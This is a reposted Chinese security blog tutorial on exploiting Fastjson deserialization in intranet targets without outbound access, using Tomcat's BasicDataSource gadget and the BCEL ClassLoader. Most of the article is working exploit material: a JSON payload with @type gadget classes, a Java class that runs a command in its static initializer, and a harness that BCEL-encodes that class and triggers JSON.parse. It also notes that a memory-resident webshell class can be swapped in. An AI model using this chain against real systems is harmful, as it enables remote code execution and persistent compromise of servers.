前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Java安全之Fastjson内网利用

Java安全之Fastjson内网利用

作者头像
全栈程序员站长
发布于 2022-07-13 11:45:46
发布于 2022-07-13 11:45:46
1.1K00
代码可运行
举报
运行总次数:0
代码可运行

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

Java安全之Fastjson内网利用

0x00 前言

在打Fastjson的时候,基本上都是使用JNDI注入的方式去打,也就是

JdbcRowSetImpl 链分析的链去打,但是遇到一些不出网的情况就没办法使用该链去执行命令。JdbcRowSetImpl 链分析

但在看到kingx师傅的一篇[Java动态类加载,当FastJson遇到内网]后,陷入了沉思。

0x01 BCEL字节码

这用到的是BCEL字节码然后使用classload进行加载。但是思考到一个问题,为什么是使用BCEL也不是直接使用TemplatesImpl链去做本地的命令执行呢?其实前文中提到过这TemplatesImpl的漏洞触发点会有限制。调用parseObject()方法时,需要加入Feature.SupportNonPublicField参数。

而在tomcat中的 com.sun.org.apache.bcel.internal.util.ClassLoader 的loadclass方法中可以进行bcel字节码的加载。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;

    /* First try: lookup hash table.
     */
    if((cl=(Class)classes.get(class_name)) == null) {
      /* Second try: Load system class using system class loader. You better
       * don't mess around with them.
       */
      for(int i=0; i < ignored_packages.length; i++) {
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name);
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;

        /* Third try: Special request?
         */
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
        } else // Fourth try: Use default class loader
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);

    return cl;
  }

判断是否为$$BCEL$$的话则调用createClass方法,否则调用modifyClass方法返回一个class,modifyClass方法则是调用自带的classloader来加载。

来看到createClass方法

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
protected JavaClass createClass(String class_name) {
    int    index     = class_name.indexOf("$$BCEL$$");
    String real_name = class_name.substring(index + 8);

    JavaClass clazz = null;
    try {
      byte[]      bytes  = Utility.decode(real_name, true);
      ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

      clazz = parser.parse();
    } catch(Throwable e) {
      e.printStackTrace();
      return null;
    }

截取$$BCEL$$字节后面的内容然后进行解密,解密为class字节码,调用defineClass进行加载字节码。

com.sun.org.apache.bcel.internal.classfile.Utility包中有BCEL字节码的解密和解密方法。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
String s =  Utility.encode(data,true);

byte[] bytes  = Utility.decode(s, true);

0x02 利用链

添加tomcat依赖

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.8</version>
</dependency>

来看到poc

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

使用该poc加载bcel字节码。详细可移步到[Java动态类加载,当FastJson遇到内网]

编写一个test类

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package com;

import java.io.IOException;

public class test {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package com;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
class fj_test {
    public static void main(String[] argv) throws Exception{
        JavaClass cls = Repository.lookupClass(test.class);
        String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码
        
        String poc = "{\n" +
                "    {\n" +
                "        \"aaa\": {\n" +
                "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
                "                \"driverClassLoader\": {\n" +
                "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                "                },\n" +
                "                \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" +
                "        }\n" +
                "    }: \"bbb\"\n" +
                "}";
        System.out.println(poc);
        JSON.parse(poc);
    }
}

需要打内存马替换为内存马class即可。

在tomcat8以后和tomcat7的版本存在一点小差异

tomcat7使用的类是org.apache.tomcat.dbcp.dbcp.BasicDataSource,而在8版本以后名为org.apache.tomcat.dbcp.dbcp2.BasicDataSource

0x03 结尾

即便如此我个人依然觉得fastjson并不能算是一个利用比较舒服的洞。而在实际中遇到更多的可能只是去进行反弹shell利用,需要使用becl必须考虑到fastjson版本问题。或在利用RMI/LDAP的话也会有JDK版本限制。

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/119865.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021年12月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
fastjson-BCEL不出网打法原理分析
与原生的 Java 反序列化的区别在于,FastJson 反序列化并未使用 readObject 方法,而是由 FastJson 自定一套反序列化的过程。通过在反序列化的过程中自动调用类属性的 setter 方法和 getter 方法,将JSON 字符串还原成对象,当这些自动调用的方法中存在可利用的潜在危险代码时,漏洞便产生了。
红队蓝军
2023/10/04
1.6K0
fastjson-BCEL不出网打法原理分析
fastjson 不出网利用总结
之前做项目在内网测到了一个fastjson反序列化漏洞,使用dnslog可以获取到ip,但是通过burp请求在vps搭建的rmi服务时发现rmi服务监听的端口有收到请求,但是http服务没有收到请求,所以就研究一下不出网的fastjson怎么利用。
WgpSec
2021/02/04
11.3K0
一起来看看Fastjson的三种漏洞利用链
来源 | https://www.anquanke.com/post/id/248892
程序猿DD
2021/09/03
1.4K0
浅谈加载字节码相关的Java安全问题
本文前半部分将从各个角度对各个ClassLoader的利用方式做解析,并深入分析其原理
亿人安全
2022/06/30
7370
fastjson不出网代码利用
只是做个记录 Evil.java import java.io.File; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; public class Evil { // static { // try { // Runtime.getRuntime().exec(“calc.exe”); // }
Miloce
2022/09/28
8210
fastjson不出网代码利用
红队漏洞研究-fastjsonBasicDataSource链分析
BCEL的全名是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,CC链也就是从Apache Commons产生的。
Gamma实验室
2022/03/29
1.7K0
红队漏洞研究-fastjsonBasicDataSource链分析
Java反序列化(十二) | Fastjson②1.2.24-68总结
介绍什么的就不说了,简介以及1.2.24的复现和详细分析可以看 Java反序列化(十) | Fastjson – CVE-2017-18349
h0cksr
2023/05/17
9280
Java反序列化(十二) | Fastjson②1.2.24-68总结
Fastjson:我一路向北,离开有你的季节(上)
Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。具有执行效率高的特点,应用范围广泛。
Gamma实验室
2022/12/01
8320
Fastjson:我一路向北,离开有你的季节(上)
研判特征流量
判断方式:先判断是通过什么方法注入的内存马,可以先查看web日志是否有可疑的web访问日志,如果是filter或者listener类型就会有大量url请求路径相同参数不同的,或者页面不存在但是返回200的,查看是否有类似哥斯拉、冰蝎相同的url请求,哥斯拉和冰蝎的内存马注入流量特征与普通webshell的流量特征基本吻合。通过查找返回200的url路径对比web目录下是否真实存在文件,如不存在大概率为内存马。如在web日志中并未发现异常,可以排查是否为中间件漏洞导致代码执行注入内存马,排查中间件的error.log日志查看是否有可疑的报错
黑战士
2024/04/07
7280
BCEL ClassLoader去哪了
com.sun.org.apache.bcel.internal.util.ClassLoader是常常在构造漏洞利用POC时用到的类。但是,我前几天在写《Java安全漫谈》的时候,偶然发现我环境中的com.sun.org.apache.bcel.internal.util.ClassLoader类找不到了,本文就带大家来找找BCEL ClassLoader。
phith0n
2020/10/27
4.7K0
Fastjson姿势技巧集合
https://github.com/safe6Sec/ShiroAndFastJson
阿超
2022/11/10
3.2K0
记一次失败的Fastjson漏洞利用
在社区中,较少看到关于“失败”案例的文章。本文将记录一次在负载均衡场景下失败的 fastjson 漏洞利用案例。
Gamma实验室
2023/12/11
3740
记一次失败的Fastjson漏洞利用
从FastJson库的不同版本源码中对比学习绕过方法
更新主要在com.alibaba.fastjson.parser.ParserConfig中。
FB客服
2023/02/10
8870
从FastJson库的不同版本源码中对比学习绕过方法
FastJson checkAutoType安全机制研究
在FastJson1.2.25以及之后的版本中,fastjson为了防止autoType这一机制带来的安全隐患,增加了一层名为checkAutoType的检测机制。
Al1ex
2025/01/10
1300
FastJson checkAutoType安全机制研究
小白都能看懂的JSON反序列化远程命令执行
前言 Fastjson是一个由阿里巴巴维护的一个json库。它采用一种“假定有序快速匹配”的算法,是号称Java中最快的json库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互
FB客服
2018/04/17
1.7K0
小白都能看懂的JSON反序列化远程命令执行
Java安全漫谈学习笔记 — 一个新旧交替的时刻
​ 准备过两天开始对Java反序列化和内核漏洞这两块展开一些深入的学习,但是Java的内容以及好几个月没用看了都快忘干净了,所以今天就把之前自己写的一些文章重新看了一遍,之后就开始展开学习,所以这就是为什么我说这是一个新旧交替的时刻的原因了。刚好想到p师傅的[Java安全漫谈系列](phith0n/JavaThings: Share Things Related to Java – Java安全漫谈笔记相关内容 (github.com))之前还没看过就直接全部过了一遍,感觉还是有很多新收获的。
h0cksr
2023/05/17
1.1K0
Fastjson历史Gadget
下面的载荷用于探测目标版本,这便于我们更好确定使用的payload,同时还可以用于区分fasjtons与jackson,同时fastjson探测版本还可以用错误格式的json发过去,如果对方异常未处理则可以报出详细版本
Al1ex
2023/09/07
7550
Fastjson历史Gadget
《一切皆是映射:代码的本质》Java 动态读取源代码,并编译 & 加载执行
动态的执行一段简单代码,采用生成java文件,调用javac编译,反射执行的方式。
一个会写诗的程序员
2018/10/09
1.4K0
实战 | fastjson 漏洞的发现与测试
Fastjson 是阿里巴巴公司开源的一款 json 解析器,其性能优越,被广泛应用于各大厂商的 Java 项目中。fastjson 于 1.2.24 版本后增加了反序列化白名单,而在 1.2.48 以前的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。
信安之路
2021/12/09
8.9K0
实战 | fastjson 漏洞的发现与测试
fastjson黑盒测试与白盒审计
fastjson-1.2.24 (fastjson接受的JSON可以通过@type字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作) fastjson-1.248以下 (从而导致checkAutoType在检测是否为黑名单的时候绕了过去,因为上一步将com.sun.rowset.JdbcRowSetImpl放入了mapping中,checkAutoType中使用TypeUtils.getClassFromMapping(typeName)去获取class不为空,从而绕过了黑名单检测) fastjson-1.2.60以下 (在此版本以下,字符串中包含\x转义字符时可以造成dos漏洞)
黑伞安全
2020/09/18
2.2K0
相关推荐
fastjson-BCEL不出网打法原理分析
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验